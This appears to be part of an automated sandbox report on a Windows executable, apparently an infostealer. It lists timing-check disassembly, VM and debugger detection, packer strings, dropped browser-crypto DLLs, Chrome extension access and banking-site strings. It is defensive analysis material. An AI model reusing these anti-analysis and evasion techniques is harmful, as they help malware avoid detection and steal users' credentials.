Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E00C4 second address: 59E0126 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B8DCB2DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c jmp 00007FD2B8DCB2E6h 0x00000011 push eax 0x00000012 pushad 0x00000013 movsx ebx, si 0x00000016 mov di, ax 0x00000019 popad 0x0000001a xchg eax, ecx 0x0000001b jmp 00007FD2B8DCB2E4h 0x00000020 push dword ptr [ebp+08h] 0x00000023 jmp 00007FD2B8DCB2E0h 0x00000028 lea eax, dword ptr [ebp-08h] 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E0126 second address: 59E012A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E012A second address: 59E0147 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B8DCB2E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E0147 second address: 59E019E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 jmp 00007FD2B84F6C08h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FD2B84F6BFEh 0x00000016 sbb si, 1938h 0x0000001b jmp 00007FD2B84F6BFBh 0x00000020 popfd 0x00000021 push eax 0x00000022 mov ecx, edx 0x00000024 pop edx 0x00000025 popad 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FD2B84F6BFCh 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E0244 second address: 59E0289 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B8DCB2E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FD2B8DCB2DEh 0x0000000f push eax 0x00000010 pushad 0x00000011 pushad 0x00000012 mov dl, ch 0x00000014 popad 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FD2B8DCB2E7h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E0289 second address: 59E028F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E028F second address: 59E0293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E0293 second address: 59E0297 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E0297 second address: 59E0301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FD2B8DCB2E7h 0x0000000f push 00000000h 0x00000011 pushad 0x00000012 mov eax, 4BC2C68Bh 0x00000017 mov eax, 60154067h 0x0000001c popad 0x0000001d push 00000000h 0x0000001f jmp 00007FD2B8DCB2DAh 0x00000024 push dword ptr [ebp+1Ch] 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007FD2B8DCB2DDh 0x00000030 and esi, 14682586h 0x00000036 jmp 00007FD2B8DCB2E1h 0x0000003b popfd 0x0000003c mov ah, 07h 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E0301 second address: 59E0378 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, ax 0x00000006 pushfd 0x00000007 jmp 00007FD2B84F6C04h 0x0000000c sub ax, 2B58h 0x00000011 jmp 00007FD2B84F6BFBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push dword ptr [ebp+18h] 0x0000001d jmp 00007FD2B84F6C06h 0x00000022 push dword ptr [ebp+14h] 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007FD2B84F6BFDh 0x0000002e sub ax, E1A6h 0x00000033 jmp 00007FD2B84F6C01h 0x00000038 popfd 0x00000039 movzx esi, dx 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E0378 second address: 59E0395 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2B8DCB2E9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C0719 second address: 59C0768 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 call 00007FD2B84F6C05h 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 call 00007FD2B84F6C09h 0x00000017 pop ecx 0x00000018 call 00007FD2B84F6C01h 0x0000001d pop eax 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C0768 second address: 59C0783 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B8DCB2DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C0783 second address: 59C0787 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C0787 second address: 59C078D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C085B second address: 59C0890 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD2B84F6BFEh 0x00000008 adc ax, 8958h 0x0000000d jmp 00007FD2B84F6BFBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov bx, si 0x00000018 popad 0x00000019 mov edx, dword ptr [ebp+0Ch] 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 mov di, 50A0h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C0890 second address: 59C08F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD2B8DCB2E4h 0x00000009 add cl, FFFFFFE8h 0x0000000c jmp 00007FD2B8DCB2DBh 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007FD2B8DCB2E8h 0x00000018 jmp 00007FD2B8DCB2E5h 0x0000001d popfd 0x0000001e popad 0x0000001f pop edx 0x00000020 pop eax 0x00000021 mov esi, edx 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 mov di, 93BCh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C09CA second address: 59C09E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B84F6C07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C09E5 second address: 59C09EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C09EC second address: 59C0A0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 sub edx, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD2B84F6C06h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C0A0F second address: 59C0A15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C0A15 second address: 59C0A41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B84F6BFEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, dword ptr [ebp+08h] 0x0000000c jmp 00007FD2B84F6C00h 0x00000011 dec edi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C0A41 second address: 59C0A47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C0A47 second address: 59C0B01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, F4A1h 0x00000007 pushfd 0x00000008 jmp 00007FD2B84F6BFEh 0x0000000d or cl, 00000038h 0x00000010 jmp 00007FD2B84F6BFBh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 lea ebx, dword ptr [edi+01h] 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007FD2B84F6C04h 0x00000023 sub cl, FFFFFF98h 0x00000026 jmp 00007FD2B84F6BFBh 0x0000002b popfd 0x0000002c pushfd 0x0000002d jmp 00007FD2B84F6C08h 0x00000032 sub ax, 54F8h 0x00000037 jmp 00007FD2B84F6BFBh 0x0000003c popfd 0x0000003d popad 0x0000003e mov al, byte ptr [edi+01h] 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 mov si, bx 0x00000047 pushfd 0x00000048 jmp 00007FD2B84F6C07h 0x0000004d sub ah, 0000006Eh 0x00000050 jmp 00007FD2B84F6C09h 0x00000055 popfd 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C0B01 second address: 59C0B06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C0B06 second address: 59C0B70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ax, di 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a inc edi 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FD2B84F6C05h 0x00000012 and ecx, 18172456h 0x00000018 jmp 00007FD2B84F6C01h 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007FD2B84F6C00h 0x00000024 jmp 00007FD2B84F6C05h 0x00000029 popfd 0x0000002a popad 0x0000002b test al, al 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C0B70 second address: 59C0B76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C0B76 second address: 59C0BB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B84F6C02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FD328D5EAE9h 0x0000000f pushad 0x00000010 mov ecx, 3C2600DDh 0x00000015 popad 0x00000016 mov ecx, edx 0x00000018 jmp 00007FD2B84F6BFFh 0x0000001d shr ecx, 02h 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov ax, dx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C0BB5 second address: 59C0BBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C0BBA second address: 59C0BD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B84F6BFAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsd 0x0000000b rep movsd 0x0000000d rep movsd 0x0000000f rep movsd 0x00000011 rep movsd 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 movsx ebx, ax 0x00000019 mov cx, 8BE5h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C0BD5 second address: 59C0BE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2B8DCB2DEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C0BE7 second address: 59C0C3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, edx 0x0000000a jmp 00007FD2B84F6C07h 0x0000000f and ecx, 03h 0x00000012 pushad 0x00000013 movzx esi, bx 0x00000016 push edx 0x00000017 push esi 0x00000018 pop edx 0x00000019 pop ecx 0x0000001a popad 0x0000001b rep movsb 0x0000001d pushad 0x0000001e mov cx, di 0x00000021 mov edx, 693B9E34h 0x00000026 popad 0x00000027 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007FD2B84F6C06h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C0C3F second address: 59C0C6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD2B8DCB2E1h 0x00000008 pop eax 0x00000009 mov dh, 7Ch 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD2B8DCB2DFh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C0C6C second address: 59C0CBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B84F6C09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp-10h] 0x0000000c jmp 00007FD2B84F6BFEh 0x00000011 mov dword ptr fs:[00000000h], ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FD2B84F6C07h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C0CBA second address: 59C0CE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B8DCB2E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD2B8DCB2DDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C0CE7 second address: 59C0D47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B84F6C01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a jmp 00007FD2B84F6BFEh 0x0000000f pop esi 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FD2B84F6BFEh 0x00000017 or eax, 0E5F9228h 0x0000001d jmp 00007FD2B84F6BFBh 0x00000022 popfd 0x00000023 mov cx, 6B1Fh 0x00000027 popad 0x00000028 pop ebx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FD2B84F6C01h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D003D second address: 59D0041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D0041 second address: 59D0045 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D0045 second address: 59D004B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D004B second address: 59D0068 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2B84F6C09h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D0068 second address: 59D0095 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B8DCB2E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007FD2B8DCB2DEh 0x00000012 pop ebp 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 mov edi, eax 0x00000018 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 10DDB19 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 128833F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1286EF2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 10DDA5A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1293D21 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1318EF4 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 5976	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1012	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3604	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5960	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2244	Thread sleep time: -36018s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9DC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C9DC930

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2630172832.0000000001268000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: HCAEGCBF.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file.exe, 00000000.00000002.2631399968.00000000019E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: HCAEGCBF.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: HCAEGCBF.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: HCAEGCBF.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: HCAEGCBF.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: HCAEGCBF.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2631399968.0000000001A18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWf
Source: HCAEGCBF.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: HCAEGCBF.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: HCAEGCBF.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: HCAEGCBF.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: HCAEGCBF.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: HCAEGCBF.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: HCAEGCBF.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: HCAEGCBF.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: HCAEGCBF.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: HCAEGCBF.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: HCAEGCBF.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: HCAEGCBF.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: HCAEGCBF.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: HCAEGCBF.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: HCAEGCBF.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: HCAEGCBF.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: HCAEGCBF.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2631399968.000000000199E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: HCAEGCBF.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: HCAEGCBF.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: HCAEGCBF.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: HCAEGCBF.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: HCAEGCBF.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: HCAEGCBF.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2630172832.0000000001268000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: HCAEGCBF.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: HCAEGCBF.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA25FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CA25FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6C9C3480

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9FB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C9FB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9FB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C9FB1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 5580, type: MEMORYSTR

Maps a DLL or memory area into another process

